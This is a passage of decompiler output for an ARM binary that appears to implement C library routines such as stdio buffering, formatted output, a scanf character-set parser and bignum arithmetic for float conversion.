v1 = *(_DWORD *)v1;
}
while ( v1 );
return v2;
}
// 19040: using guessed type void *off_19040;
// 19044: using guessed type int dword_19044;

//----- (000190DC) --------------------------------------------------------
signed int __fastcall sub_190DC(int a1)
{
int v1; // r4@1
__int16 v2; // r3@3
__int16 v3; // r3@9
int v4; // r0@11
int v5; // r1@14
int v6; // r3@15
int v7; // r2@20
int (__fastcall *v8)(_DWORD); // r3@20
int v9; // r0@20
__int16 v10; // r5@20
__int16 v11; // r2@20
__int16 v12; // r2@20
signed __int16 v13; // r3@21

v1 = a1;
if ( !**(_DWORD **)((char *)off_191B4 + dword_191B8 + 102632) )
sub_18D40();
v2 = *(_WORD *)(v1 + 12);
*(_DWORD *)(v1 + 4) = 0;
if ( v2 & 0x20 )
return -1;
if ( v2 & 4 )
{
v4 = **(_DWORD **)(v1 + 48);
if ( v4 )
{
if ( v4 != v1 + 64 )
sub_1FDA0();
v5 = *(_DWORD *)(v1 + 60);
**(_DWORD **)(v1 + 48) = 0;
*(_DWORD *)(v1 + 4) = v5;
if ( v5 )
{
v6 = 0;
*(_DWORD *)v1 = *(_DWORD *)(v1 + 56);
return v6;
}
}
}
else
{
if ( !(v2 & 0x10) )
{
*(_DWORD *)sub_1FD74() = 9;
*(_WORD *)(v1 + 12) |= 0x40u;
return -1;
}
if ( v2 & 8 )
{
if ( sub_18C08(v1) )
return -1;
v3 = *(_WORD *)(v1 + 12);
*(_DWORD *)(v1 + 8) = 0;
*(_DWORD *)(v1 + 24) = 0;
*(_WORD *)(v1 + 12) = v3 & 0xFFF7;
}
*(_WORD *)(v1 + 12) |= 4u;
}
if ( !*(_DWORD *)(v1 + 16) )
sub_20498(v1);
if ( *(_WORD *)(v1 + 12) << 30 )
sub_19008((int (__fastcall *)(_DWORD))((char *)off_191BC + 102780));
v7 = *(_DWORD *)(v1 + 20);
v8 = *(int (__fastcall **)(_DWORD))(v1 + 36);
*(_DWORD *)v1 = *(_DWORD *)(v1 + 16);
v9 = v8(*(_DWORD *)(v1 + 28));
v10 = (signed __int16)off_191C0;
v11 = *(_WORD *)(v1 + 12);
*(_DWORD *)(v1 + 4) = v9;
v6 = 0;
v12 = v11 & v10;
*(_WORD *)(v1 + 12) = v12;
if ( v9 <= 0 )
{
v13 = 32;
if ( v9 )
{
*(_DWORD *)(v1 + 4) = 0;
v13 = 64;
}
*(_WORD *)(v1 + 12) = v12 | v13;
return -1;
}
return v6;
}
// 191B4: using guessed type void *off_191B4;
// 191B8: using guessed type int dword_191B8;
// 191BC: using guessed type void *off_191BC;
// 191C0: using guessed type void *off_191C0;

//----- (0001943C) --------------------------------------------------------
int __fastcall sub_1943C(int a1, int a2, int a3, int a4, int a5, int (*a6)(void))
{
int v6; // r4@0

*(_DWORD *)(v6 + 80) = a4;
return a6();
}

//----- (00019ADC) --------------------------------------------------------
signed int __fastcall sub_19ADC(signed int a1, int a2)
{
int v2; // r4@1
signed int result; // r0@2

v2 = a2;
if ( *(_DWORD *)(a2 + 8) )
{
result = sub_201B0(a1, a2);
*(_DWORD *)(v2 + 8) = 0;
*(_DWORD *)(v2 + 4) = 0;
}
else
{
*(_DWORD *)(a2 + 4) = 0;
result = 0;
}
return result;
}

//----- (00019AFC) --------------------------------------------------------
int __fastcall sub_19AFC(signed int a1, int a2, int a3)
{
int v3; // r5@1
__int16 v4; // r3@1
int i; // r7@9
char *v6; // r6@15
int v7; // r3@21
int v23; // r1@57
int v24; // r2@57
int v25; // r3@57
signed int v33; // r0@63
int v54; // r2@73
int v68; // r2@89
signed int v76; // r3@99
__int16 v77; // r6@110
int result; // r0@112
signed int v84; // [sp+24h] [bp-274h]@11
signed int v85; // [sp+2Ch] [bp-26Ch]@1
int v88; // [sp+3Ch] [bp-25Ch]@8
int v89; // [sp+48h] [bp-250h]@4
int v90; // [sp+64h] [bp-234h]@1
char *v91; // [sp+68h] [bp-230h]@1
char *v93; // [sp+74h] [bp-224h]@8
int v94; // [sp+84h] [bp-214h]@8
int v95; // [sp+88h] [bp-210h]@16
char v96; // [sp+8Ch] [bp-20Ch]@16
char v97; // [sp+C4h] [bp-1D4h]@108
int *v98; // [sp+E4h] [bp-1B4h]@8
signed int v99; // [sp+E8h] [bp-1B0h]@8
int v100; // [sp+ECh] [bp-1ACh]@8
int v102; // [sp+108h] [bp-190h]@8
int v103; // [sp+110h] [bp-188h]@8
char v105; // [sp+11Fh] [bp-179h]@21
char v106; // [sp+120h] [bp-178h]@24
int v107; // [sp+27Ch] [bp-1Ch]@1

v91 = (char *)off_19E40 + 105224;
v3 = a3;
v90 = a2;
v85 = a1;
v107 = **(_DWORD **)((char *)off_19E40 + dword_19E44 + 105224);
v4 = *(_WORD *)(a1 + 12);
if ( v4 & 8 && *(_DWORD *)(a1 + 16) || !sub_1B7D0(a1) )
{
if ( (*(_WORD *)(v85 + 12) & 0x1A) != 10 || (signed int)*(_WORD *)(v85 + 14) < 0 )
{
v100 = 0;
v99 = 0;
v102 = v3;
v88 = v90;
v103 = 0;
v98 = &v94;
v89 = 0;
v93 = (char *)off_19E48 + 105350;
while ( 1 )
{
for ( i = v88; *(_BYTE *)i; ++i )
{
if ( *(_BYTE *)i == 37 )
{
v84 = 1;
goto LABEL_15;
}
}
v84 = -1;
LABEL_15:
v6 = (char *)&v94;
if ( i != v88 )
{
v6 = &v96;
v95 = i - v88;
v94 = v88;
v100 += i - v88;
++v99;
if ( v99 > 7 )
{
if ( sub_19ADC(v85, (int)&v98) )
goto LABEL_107;
v6 = (char *)&v94;
}
v89 += i - v88;
}
if ( v84 != 1 )
break;
v105 = 0;
v7 = *(_BYTE *)(i + 1);
if ( (unsigned int)(v7 - 32) <= 0x5A )
JUMPOUT(__CS__, &v93[*(_DWORD *)&v93[4 * (v7 - 32)]]);
v88 = i + 2;
if ( !*(_BYTE *)(i + 1) )
break;
v106 = v7;
v105 = 0;
if ( v105 )
{
*(_DWORD *)v6 = &v105;
*((_DWORD *)v6 + 1) = 1;
++v100;
v6 += 8;
++v99;
if ( v99 > 7 )
{
if ( sub_19ADC(v85, (int)&v98) )
goto LABEL_107;
v6 = (char *)&v94;
}
}
v23 = (int)&v98;
*((_DWORD *)v6 + 1) = 1;
v24 = v100;
*(_DWORD *)v6 = &v106;
v25 = v24 + 1;
v68 = *(_DWORD *)(v23 + 4);
*(_DWORD *)(v23 + 8) = v25;
v54 = v68 + 1;
*(_DWORD *)(v23 + 4) = v54;
if ( v54 > 7 )
{
v33 = v85;
if ( sub_19ADC(v33, v23) )
goto LABEL_107;
}
v76 = 1;
v89 += v76;
if ( v100 )
{
if ( sub_19ADC(v85, (int)&v98) )
goto LABEL_107;
}
v99 = 0;
}
if ( !v100 || !sub_19ADC(v85, (int)&v98) )
v99 = 0;
LABEL_107:
if ( v103 && (char *)v103 != &v97 )
{
sub_D66C(v103);
v103 = 0;
}
v77 = *(_WORD *)(v85 + 12);
if ( v77 & 0x40 )
v89 = -1;
}
else
{
v89 = sub_1ADCC(v85, v90, v3);
}
}
else
{
*(_DWORD *)sub_1FD74() = 9;
v89 = -1;
}
result = v89;
if ( v107 != **(_DWORD **)&v91[dword_1AD54] )
result = ((int (__fastcall *)(int))loc_1E9B0)(v89);
return result;
}
// 19E40: using guessed type void *off_19E40;
// 19E44: using guessed type int dword_19E44;
// 19E48: using guessed type void *off_19E48;
// 1A630: using guessed type void *off_1A630;
// 1AD54: using guessed type int dword_1AD54;

//----- (0001ADCC) --------------------------------------------------------
int __fastcall sub_1ADCC(int a1, int a2, int a3)
{
char *v3; // r6@1
int v4; // r5@1
__int16 v5; // r7@1
int v6; // r3@1
int v7; // r7@1
int v8; // r7@1
int result; // r0@6
int v10; // [sp+0h] [bp-480h]@1
char *v11; // [sp+4h] [bp-47Ch]@1
signed int v12; // [sp+Ch] [bp-474h]@1
__int16 v13; // [sp+10h] [bp-470h]@1
__int16 v14; // [sp+12h] [bp-46Eh]@1
char *v15; // [sp+14h] [bp-46Ch]@1
signed int v16; // [sp+18h] [bp-468h]@1
int v17; // [sp+1Ch] [bp-464h]@1
int v18; // [sp+20h] [bp-460h]@1
int v19; // [sp+30h] [bp-450h]@1
int *v20; // [sp+34h] [bp-44Ch]@1
int v21; // [sp+58h] [bp-428h]@1
int v22; // [sp+5Ch] [bp-424h]@1
char v23; // [sp+64h] [bp-41Ch]@1

v3 = (char *)off_1AE58 + 110040;
v4 = a1;
*(int *)((char *)&v10 + dword_1AE64) = **(_DWORD **)((char *)off_1AE58 + dword_1AE5C + 110040);
v21 = 0;
v22 = 0;
v20 = &v21;
v13 = *(_WORD *)(a1 + 12) & 0xFFFD;
v5 = *(_WORD *)(a1 + 14);
v6 = *(_DWORD *)(a1 + 28);
v17 = 0;
v14 = v5;
v7 = *(_DWORD *)(a1 + 44);
v18 = v6;
v19 = v7;
v11 = &v23;
v15 = &v23;
v12 = 1024;
v16 = 1024;
v8 = sub_19AFC((signed int)&v11, a2, a3);
if ( v8 >= 0 && sub_18C54((int)&v11) )
v8 = -1;
if ( v13 & 0x40 )
*(_WORD *)(v4 + 12) |= 0x40u;
result = v8;
if ( *(int *)((char *)&v10 + dword_1AE64) != **(_DWORD **)&v3[dword_1AE5C] )
result = ((int (__fastcall *)(int))loc_1E9B0)(v8);
return result;
}
// 1AE58: using guessed type void *off_1AE58;
// 1AE5C: using guessed type int dword_1AE5C;
// 1AE64: using guessed type int dword_1AE64;

//----- (0001AE6C) --------------------------------------------------------
int __fastcall sub_1AE6C(int a1, int a2)
{
signed int v2; // r2@1
int v3; // r3@1
signed int v4; // r4@1
int result; // r0@1
int v6; // r1@3
int v7; // r4@7
signed int v8; // r1@9
signed int v9; // r1@13

v2 = *(_BYTE *)a2;
v3 = a1;
v4 = 0;
result = a2 + 1;
if ( v2 == 94 )
{
v2 = *(_BYTE *)(a2 + 1);
result = a2 + 2;
v4 = 1;
}
v6 = 0;
do
*(_BYTE *)(v3 + v6++) = v4;
while ( v6 != 256 );
if ( v2 )
{
v7 = (1 - v4) & 0xFF;
LABEL_8:
while ( 2 )
{
*(_BYTE *)(v3 + v2) = v7;
while ( 1 )
{
v8 = *(_BYTE *)result;
if ( v8 != 45 )
break;
v9 = *(_BYTE *)(result + 1);
if ( v9 < v2 || v9 == 93 )
{
++result;
v2 = 45;
goto LABEL_8;
}
result += 2;
do
{
++v2;
*(_BYTE *)(v3 + v2) = v7;
}
while ( v2 < v9 );
}
if ( v8 == 93 )
{
++result;
}
else if ( *(_BYTE *)result )
{
++result;
v2 = v8;
continue;
}
break;
}
}
else
{
--result;
}
return result;
}

//----- (0001B7D0) --------------------------------------------------------
signed int __fastcall sub_1B7D0(signed int a1)
{
signed int v1; // r4@1
__int16 v2; // r3@3
int v3; // r0@6
int v4; // r1@10
__int16 v5; // r2@15
int v6; // r1@16
int v7; // r3@17

v1 = a1;
if ( !**(_DWORD **)((char *)off_1B868 + dword_1B86C + 112604) )
sub_18D40();
v2 = *(_WORD *)(v1 + 12);
if ( !(v2 & 8) )
{
if ( !(v2 & 0x10) )
return -1;
if ( v2 & 4 )
{
v3 = **(_DWORD **)(v1 + 48);
if ( v3 )
{
if ( v3 != v1 + 64 )
sub_1FDA0();
**(_DWORD **)(v1 + 48) = 0;
}
v4 = *(_DWORD *)(v1 + 16);
*(_WORD *)(v1 + 12) &= 0xFFDBu;
*(_DWORD *)(v1 + 4) = 0;
*(_DWORD *)v1 = v4;
}
*(_WORD *)(v1 + 12) |= 8u;
}
if ( !*(_DWORD *)(v1 + 16) )
{
if ( (*(_WORD *)(v1 + 12) & 0x4200) != 512 )
{
sub_20498(v1);
goto LABEL_15;
}
return -1;
}
LABEL_15:
v5 = *(_WORD *)(v1 + 12);
if ( v5 & 1 )
{
v6 = *(_DWORD *)(v1 + 20);
*(_DWORD *)(v1 + 8) = 0;
*(_DWORD *)(v1 + 24) = -v6;
}
else
{
v7 = 0;
if ( !(v5 & 2) )
v7 = *(_DWORD *)(v1 + 20);
*(_DWORD *)(v1 + 8) = v7;
}
return 0;
}
// 1B868: using guessed type void *off_1B868;
// 1B86C: using guessed type int dword_1B86C;

//----- (0001B870) --------------------------------------------------------
int __fastcall sub_1B870(int a1)
{
int result; // r0@1
char *v2; // r5@1
int v3; // r6@1
int *v4; // r7@4
int v5; // r4@4
unsigned int v6; // r0@8
int v7; // r2@8
int v8; // r3@8
int v9; // [sp+Ch] [bp-1Ch]@1

v9 = a1;
result = dword_1B920;
v2 = (char *)off_1B91C + 112766;
v3 = **(_DWORD **)((char *)off_1B91C + dword_1B920 + 112766);
if ( v3 > 23 )
{
if ( **(_DWORD **)&v2[dword_1B924] )
sub_1ECD4();
v4 = *(int **)&v2[dword_1B928];
v5 = *v4;
if ( *v4 )
{
while ( *(_DWORD *)v5 )
v5 = *(_DWORD *)v5;
result = sub_E6EC(v5);
if ( result )
goto LABEL_11;
}
else
{
result = sub_18964(0, v3, 3, 34, -1, 0);
v5 = result;
if ( result == -1 )
goto LABEL_11;
*(_DWORD *)(result + 4) = 1;
v6 = sub_E91C(v3 - 12, 0xCu);
v7 = dword_1B92C;
*(_DWORD *)v5 = 0;
v8 = *(_DWORD *)&v2[v7];
*(_DWORD *)(v5 + 8) = v6;
*v4 = v5;
if ( *(_DWORD *)v8 )
*(_DWORD *)v8 = 0;
}
*(_DWORD *)(v5 + 16) = 0;
*(_DWORD *)(v5 + 12) = v9;
*(_DWORD *)(v5 + 20) = 0;
result = sub_E6EC(v5);
LABEL_11:
if ( **(_DWORD **)&v2[dword_1B924] )
result = sub_1ECC4();
}
return result;
}
// 1B91C: using guessed type void *off_1B91C;
// 1B920: using guessed type int dword_1B920;
// 1B924: using guessed type int dword_1B924;
// 1B928: using guessed type int dword_1B928;
// 1B92C: using guessed type int dword_1B92C;

//----- (0001BDE4) --------------------------------------------------------
signed int __fastcall sub_1BDE4(unsigned int a1)
{
unsigned int v1; // r2@1
unsigned int v2; // r3@1
signed int result; // r0@1

v1 = a1 >> 16;
v2 = a1;
result = 0;
if ( !v1 )
{
v2 <<= 16;
result = 16;
}
if ( !(v2 >> 24) )
{
result += 8;
v2 <<= 8;
}
if ( !(v2 >> 28) )
{
result += 4;
v2 *= 16;
}
if ( !(v2 >> 30) )
{
result += 2;
v2 *= 4;
}
if ( (v2 & 0x80000000) == 0 )
{
++result;
if ( !(v2 & 0x40000000) )
result = 32;
}
return result;
}

//----- (0001BE20) --------------------------------------------------------
signed int __fastcall sub_1BE20(unsigned int *a1)
{
unsigned int v1; // r3@1
signed int v2; // r2@2

v1 = *a1;
if ( *a1 << 29 )
{
v2 = 0;
if ( !(v1 & 1) )
{
if ( v1 & 2 )
{
*a1 = v1 >> 1;
v2 = 1;
}
else
{
*a1 = v1 >> 2;
v2 = 2;
}
}
}
else
{
v2 = 0;
if ( !(v1 << 16) )
{
v1 >>= 16;
v2 = 16;
}
if ( !(unsigned __int8)v1 )
{
v2 += 8;
v1 >>= 8;
}
if ( !(v1 << 28) )
{
v2 += 4;
v1 >>= 4;
}
if ( !(v1 << 30) )
{
v2 += 2;
v1 >>= 2;
}
if ( v1 & 1 || (v1 >>= 1, ++v2, v1) )
*a1 = v1;
else
v2 = 32;
}
return v2;
}

//----- (0001BE7C) --------------------------------------------------------
signed int __fastcall sub_1BE7C(int a1, int a2)
{
int v2; // r3@1
unsigned int v3; // r3@2
signed int result; // r0@3
int v5; // r3@4
signed int v6; // r2@4

v2 = (dword_1BEB8 & a2) + dword_1BEBC;
if ( v2 <= 0 && (v3 = (unsigned int)-v2 >> 20, (signed int)v3 > 19) )
{
v5 = v3 - 20;
v6 = 1;
if ( v5 <= 30 )
v6 = 1 << (31 - v5);
result = v6;
}
else
{
result = 0;
}
return result;
}
// 1BEB8: using guessed type int dword_1BEB8;
// 1BEBC: using guessed type int dword_1BEBC;

//----- (0001BEC4) --------------------------------------------------------
__int64 __fastcall sub_1BEC4(int a1, int a2)
{
int v2; // r7@1
__int64 result; // r0@2
int v4; // r6@3
unsigned int *v5; // r4@3
unsigned int v6; // r5@3
signed int v7; // r0@3
__int64 v8; // r2@4
unsigned int v9; // r7@4
unsigned int v10; // r1@7
int v11; // r0@9
unsigned int v12; // r5@10

v2 = a2;
if ( (void *)a1 == (char *)off_1BF6C + 114382 )
{
result = qword_1BF64;
}
else
{
v4 = a1 + 20;
v5 = (unsigned int *)(a1 + 4 * (*(_DWORD *)(a1 + 16) + 4));
v6 = *v5;
v7 = sub_1BDE4(*v5);
*(_DWORD *)v2 = 32 - v7;
if ( v7 > 10 )
{
v10 = 0;
if ( v4 < (unsigned int)v5 )
{
--v5;
v10 = *v5;
}
v11 = v7 - 11;
if ( v11 )
{
HIDWORD(v8) = (v6 << v11) | dword_1BF70 | (v10 >> (32 - v11));
v12 = 0;
if ( (unsigned int)v5 > v4 )
v12 = *(v5 - 1);
LODWORD(v8) = (v12 >> (32 - v11)) | (v10 << v11);
}
else
{
LODWORD(v8) = v10;
HIDWORD(v8) = v6 | dword_1BF70;
}
}
else
{
HIDWORD(v8) = (v6 >> (11 - v7)) | dword_1BF70;
v9 = 0;
if ( (unsigned int)v5 > v4 )
v9 = *(v5 - 1);
LODWORD(v8) = (v9 >> (11 - v7)) | (v6 << (v7 + 21));
}
result = v8;
}
return result;
}
// 1BF64: using guessed type __int64 qword_1BF64;
// 1BF6C: using guessed type void *off_1BF6C;
// 1BF70: using guessed type int dword_1BF70;

//----- (0001BF74) --------------------------------------------------------
void __fastcall sub_1BF74(int a1, void *a2)
{
int v2; // r4@1
int v3; // r5@1
__int64 v4; // r6@3
unsigned int v5; // r3@3
__int64 v6; // r0@3
int v7; // [sp+0h] [bp-20h]@3
int v8; // [sp+4h] [bp-1Ch]@3

v2 = a1;
v3 = (int)a2;
if ( (void *)a1 != (char *)off_1BFDC + 114560 && a2 != (char *)off_1BFDC + 114560 )
{
v4 = sub_1BEC4(a1, (int)&v8);
v6 = sub_1BEC4(v3, (int)&v7);
v5 = HIDWORD(v6);
HIDWORD(v6) = v8 - v7 + 32 * (*(_DWORD *)(v2 + 16) - *(_DWORD *)(v3 + 16));
if ( v6 <= 0 )
v5 -= HIDWORD(v6) << 20;
else
HIDWORD(v4) += HIDWORD(v6) << 20;
sub_F0FC(v4, SHIDWORD(v4), v6, v5);
}
}
// 1BFDC: using guessed type void *off_1BFDC;

//----- (0001C184) --------------------------------------------------------
char *__fastcall sub_1C184(int a1)
{
int v1; // r6@1
char *v2; // r5@1
int v3; // r3@1
char *v4; // r4@1
int v5; // r0@3

v1 = a1;
v2 = (char *)off_1C1D0 + 115086;
sub_1F250((unsigned int *)((char *)off_1C1D0 + 115110));
v3 = (int)&v2[4 * v1];
v4 = *(char **)(v3 + 28);
if ( v4 )
{
*(_DWORD *)(v3 + 28) = *(_DWORD *)v4;
LABEL_6:
*((_DWORD *)v4 + 4) = 0;
*((_DWORD *)v4 + 3) = 0;
goto LABEL_7;
}
v5 = sub_1FD84();
v4 = (char *)v5;
if ( v5 )
{
*(_DWORD *)(v5 + 4) = v1;
*(_DWORD *)(v5 + 8) = 1 << v1;
goto LABEL_6;
}
v4 = v2;
LABEL_7:
sub_1F158((int)((char *)off_1C1D4 + 115168));
return v4;
}
// 1C1D0: using guessed type void *off_1C1D0;
// 1C1D4: using guessed type void *off_1C1D4;

//----- (0001C1D8) --------------------------------------------------------
char *__fastcall sub_1C1D8(int a1, int a2, int a3, int a4)
{
int v4; // r7@1
int v5; // r5@1
char *v6; // r4@1
int v7; // r2@2
signed int v8; // r0@5
unsigned int v9; // r2@6
int v10; // r6@8
signed int v11; // r6@8
signed int v12; // r0@9
int v13; // r2@9
int v15; // [sp+0h] [bp-28h]@1
unsigned int v16; // [sp+0h] [bp-28h]@2
int v17; // [sp+4h] [bp-24h]@1
int v18; // [sp+8h] [bp-20h]@2
int v19; // [sp+Ch] [bp-1Ch]@4

v15 = a1;
v17 = a2;
v4 = a4;
v5 = a3;
v6 = sub_1C184(1);
if ( v6 != (char *)off_1C28C + 115186 )
{
v7 = v15;
v18 = v17 & 0xFFFFF;
v16 = (unsigned int)(2 * v17) >> 21;
if ( v16 )
v18 = v17 & 0xFFFFF | 0x100000;
v19 = v7;
if ( v7 )
{
v8 = sub_1BE20((unsigned int *)&v19);
if ( v8 )
{
v9 = (unsigned int)v18 >> v8;
*((_DWORD *)v6 + 5) = v19 | (v18 << (32 - v8));
v18 = v9;
}
else
{
*((_DWORD *)v6 + 5) = v19;
}
v10 = v18;
*((_DWORD *)v6 + 6) = v18;
v11 = ((__PAIR__(v10, v10) - __PAIR__((unsigned int)(v10 - 1), 1)) >> 32) + 1;
*((_DWORD *)v6 + 4) = v11;
}
else
{
v12 = sub_1BE20((unsigned int *)&v18);
v13 = v18;
*((_DWORD *)v6 + 4) = 1;
*((_DWORD *)v6 + 5) = v13;
v8 = v12 + 32;
v11 = 1;
}
if ( v16 )
{
*(_DWORD *)v5 = v16 + dword_1C290 + v8;
*(_DWORD *)v4 = 53 - v8;
}
else
{
*(_DWORD *)v5 = v8 + dword_1C294;
*(_DWORD *)v4 = 32 * v11 - sub_1BDE4(*(_DWORD *)&v6[4 * (v11 + 3) + 4]);
}
}
return v6;
}
// 1C28C: using guessed type void *off_1C28C;
// 1C290: using guessed type int dword_1C290;
// 1C294: using guessed type int dword_1C294;

//----- (0001C298) --------------------------------------------------------
char *__fastcall sub_1C298(int a1, int a2)
{
int v2; // r4@1
int v3; // r5@1
int v4; // r6@5
int v5; // r7@5
int v6; // r0@5
char *result; // r0@7
int v8; // r2@8
int i; // r3@8
int v10; // r1@11
char *v11; // r12@11
int v12; // r5@12
int v13; // r4@13
int v14; // r3@13
unsigned int v15; // r0@13
unsigned int v16; // r6@14
unsigned int v17; // r7@14
unsigned int v18; // r6@14
int v19; // r6@16
unsigned int v20; // r4@17
int v21; // r5@17
int v22; // r3@17
unsigned int v23; // r0@18
unsigned int v24; // ST10_4@18
int v25; // r3@22
int v26; // [sp+Ch] [bp-34h]@5
unsigned int v27; // [sp+10h] [bp-30h]@17
int v28; // [sp+18h] [bp-28h]@11
int v29; // [sp+1Ch] [bp-24h]@11
int v30; // [sp+20h] [bp-20h]@8
int v31; // [sp+24h] [bp-1Ch]@11

v2 = a1;
v3 = a2;
if ( (void *)a1 == (char *)off_1C3F4 + 115364 || (void *)a2 == (char *)off_1C3F4 + 115364 )
{
result = (char *)off_1C3FC + 115696;
}
else
{
if ( *(_DWORD *)(a1 + 16) < *(_DWORD *)(a2 + 16) )
{
v2 = a2;
v3 = a1;
}
v4 = *(_DWORD *)(v2 + 16);
v5 = *(_DWORD *)(v3 + 16);
v6 = *(_DWORD *)(v2 + 4);
v26 = v5 + v4;
if ( v5 + v4 > *(_DWORD *)(v2 + 8) )
++v6;
result = sub_1C184(v6);
if ( result != (char *)off_1C3F8 + 115416 )
{
v8 = (int)(result + 20);
v30 = (int)&result[4 * (v26 + 4) + 4];
for ( i = (int)(result + 20); i < (unsigned int)v30; i += 4 )
*(_DWORD *)i = 0;
v28 = v2 + 20;
v29 = v2 + 4 * (v4 + 4) + 4;
v10 = v3 + 20;
v31 = v3 + 4 * (v5 + 4) + 4;
v11 = result;
while ( v10 < (unsigned int)v31 )
{
v12 = *(_WORD *)v10;
if ( *(_WORD *)v10 )
{
v13 = v28;
v14 = v8;
v15 = 0;
do
{
v16 = *(_DWORD *)v13;
v13 += 4;
v17 = v12 * (unsigned __int16)v16 + (*(_DWORD *)v14 & 0xFFFF) + v15;
*(_WORD *)v14 += v12 * v16 + v15;
v18 = v12 * (v16 >> 16) + (*(_DWORD *)v14 >> 16) + (v17 >> 16);
*(_WORD *)(v14 + 2) = v18;
v15 = v18 >> 16;
v14 += 4;
}
while ( v13 < (unsigned int)v29 );
*(_DWORD *)v14 = v15;
}
v19 = *(_WORD *)(v10 + 2);
if ( *(_WORD *)(v10 + 2) )
{
v20 = *(_DWORD *)v8;
v21 = v28;
v22 = v8;
v27 = 0;
do
{
v23 = *(_DWORD *)v21;
v21 += 4;
*(_WORD *)v22 = v20;
v24 = v19 * (unsigned __int16)v23 + *(_WORD *)(v22 + 2) + v27;
*(_WORD *)(v22 + 2) = v24;
v22 += 4;
v20 = v19 * (v23 >> 16) + *(_WORD *)v22 + (v24 >> 16);
v27 = v20 >> 16;
}
while ( v21 < (unsigned int)v29 );
*(_DWORD *)v22 = v20;
}
v10 += 4;
v8 += 4;
}
result = v11;
v25 = v30;
while ( v26 > 0 )
{
v25 -= 4;
if ( *(_DWORD *)v25 )
break;
--v26;
}
*((_DWORD *)v11 + 4) = v26;
}
}
return result;
}
// 1C3F4: using guessed type void *off_1C3F4;
// 1C3F8: using guessed type void *off_1C3F8;
// 1C3FC: using guessed type void *off_1C3FC;

//----- (0001C400) --------------------------------------------------------
char *__fastcall sub_1C400(int a1, int a2)
{
int v2; // r4@1
int v3; // r5@1
int v4; // r2@3
int v5; // r6@3
int v6; // r2@4
int v7; // r3@4
int v8; // r2@4
char *result; // r0@9
int v10; // r7@13
int v11; // r3@13
int v12; // r2@13
int v13; // r6@13
int v14; // r4@13
char *v15; // r5@13
unsigned int v16; // r1@13
int v17; // r2@13
int v18; // r4@13
int v19; // r3@13
int v20; // r0@13
char *v21; // r12@13
unsigned int v22; // r7@14
unsigned int v23; // r5@14
unsigned int v24; // r6@16
unsigned int v25; // r4@20
unsigned int v26; // r1@20
unsigned int v27; // r5@22
int v28; // r6@19
char *v29; // r4@19
unsigned int v30; // r12@19
int v31; // r1@19
unsigned int v32; // r7@19
int v33; // r12@19
int i; // r1@26
unsigned int v35; // [sp+4h] [bp-2Ch]@14
unsigned int v36; // [sp+Ch] [bp-24h]@14
int v37; // [sp+10h] [bp-20h]@13
int v38; // [sp+14h] [bp-1Ch]@13

v2 = a1;
v3 = a2;
if ( (void *)a1 == (char *)off_1C55C + 115724 || (void *)a2 == (char *)off_1C55C + 115724 )
{
result = (char *)off_1C56C + 116046;
}
else
{
v4 = *(_DWORD *)(a2 + 16);
v5 = *(_DWORD *)(a1 + 16) - v4;
if ( *(_DWORD *)(a1 + 16) == v4 )
{
v6 = 4 * (v4 + 4);
v7 = a1 + v6 + 4;
v8 = a2 + v6 + 4;
while ( 1 )
{
v7 -= 4;
v8 -= 4;
if ( *(_DWORD *)v7 != *(_DWORD *)v8 )
break;
if ( v7 <= (unsigned int)(a1 + 20) )
{
result = sub_1C184(0);
if ( result != (char *)off_1C560 + 115798 )
{
*((_DWORD *)result + 4) = 1;
*((_DWORD *)result + 5) = 0;
}
return result;
}
}
if ( *(_DWORD *)v7 < *(_DWORD *)v8 )
goto LABEL_11;
}
else if ( v5 < 0 )
{
LABEL_11:
v5 = 1;
v2 = a2;
v3 = a1;
}
else
{
v5 = 0;
}
result = sub_1C184(*(_DWORD *)(v2 + 4));
if ( result != (char *)off_1C564 + 115830 )
{
v10 = *(_DWORD *)(v2 + 16);
v11 = *(_DWORD *)(v3 + 16);
*((_DWORD *)result + 3) = v5;
v12 = v2;
v13 = v3 + 4 * (v11 + 4);
v38 = v2 + 4 * (v10 + 4) + 4;
v14 = v3;
v15 = result;
v16 = 0;
v17 = v12 + 20;
v18 = v14 + 20;
v37 = v13 + 4;
v19 = (int)(result + 20);
v20 = v10;
v21 = v15;
do
{
v22 = *(_DWORD *)v17;
v35 = *(_DWORD *)v18;
v23 = (*(_DWORD *)v17 & 0xFFFF) - (*(_DWORD *)v18 & 0xFFFF) + v16;
v36 = v23 >> 16;
if ( (v23 & 0x80000000) != 0 )
v36 = dword_1C568 | (v23 >> 16);
v17 += 4;
v18 += 4;
v24 = (v22 >> 16) - (v35 >> 16) + v36;
v16 = v24 >> 16;
if ( (v24 & 0x80000000) != 0 )
v16 = dword_1C568 | (v24 >> 16);
*(_WORD *)v19 = v23;
*(_WORD *)(v19 + 2) = v24;
v19 += 4;
}
while ( v18 < (unsigned int)v37 );
v28 = dword_1C568;
v29 = v21;
v30 = v16;
v31 = v20;
v32 = v30;
result = v29;
v33 = v31;
while ( v17 < (unsigned int)v38 )
{
v25 = v32 + (*(_DWORD *)v17 & 0xFFFF);
v26 = v25 >> 16;
if ( (v25 & 0x80000000) != 0 )
v26 |= v28;
v27 = v26 + (*(_DWORD *)v17 >> 16);
v17 += 4;
v32 = v27 >> 16;
if ( (v27 & 0x80000000) != 0 )
v32 |= v28;
*(_WORD *)(v19 + 2) = v27;
*(_WORD *)v19 = v25;
v19 += 4;
}
for ( i = v33; ; --i )
{
v19 -= 4;
if ( *(_DWORD *)v19 )
break;
}
*((_DWORD *)result + 4) = i;
}
}
return result;
}
// 1C55C: using guessed type void *off_1C55C;
// 1C560: using guessed type void *off_1C560;
// 1C564: using guessed type void *off_1C564;
// 1C568: using guessed type int dword_1C568;
// 1C56C: using guessed type void *off_1C56C;

//----- (0001C570) --------------------------------------------------------
signed int __fastcall sub_1C570(signed int result)
{
signed int v1; // r4@1
char *v2; // r5@2
int v3; // r6@3
int v4; // r5@3

v1 = result;
if ( result )
{
v2 = (char *)off_1C59C + 116092;
if ( (void *)result != (char *)off_1C59C + 116092 )
{
v3 = (int)((char *)off_1C59C + 116116);
sub_1F250((unsigned int *)off_1C59C + 29029);
v4 = (int)&v2[4 * *(_DWORD *)(v1 + 4)];
*(_DWORD *)v1 = *(_DWORD *)(v4 + 28);
*(_DWORD *)(v4 + 28) = v1;
result = sub_1F158(v3);
}
}
return result;
}
// 1C59C: using guessed type void *off_1C59C;

//----- (0001C5A0) --------------------------------------------------------
signed int __fastcall sub_1C5A0(signed int a1, unsigned int a2)
{
signed int v2; // r4@1
unsigned int v3; // r7@2
int v4; // r0@2
int v5; // r6@2
int i; // r3@2
char *v7; // r0@5
signed int v8; // r5@5
int v9; // r3@6
signed int j; // r2@6
int v11; // r2@9
int v12; // r7@9
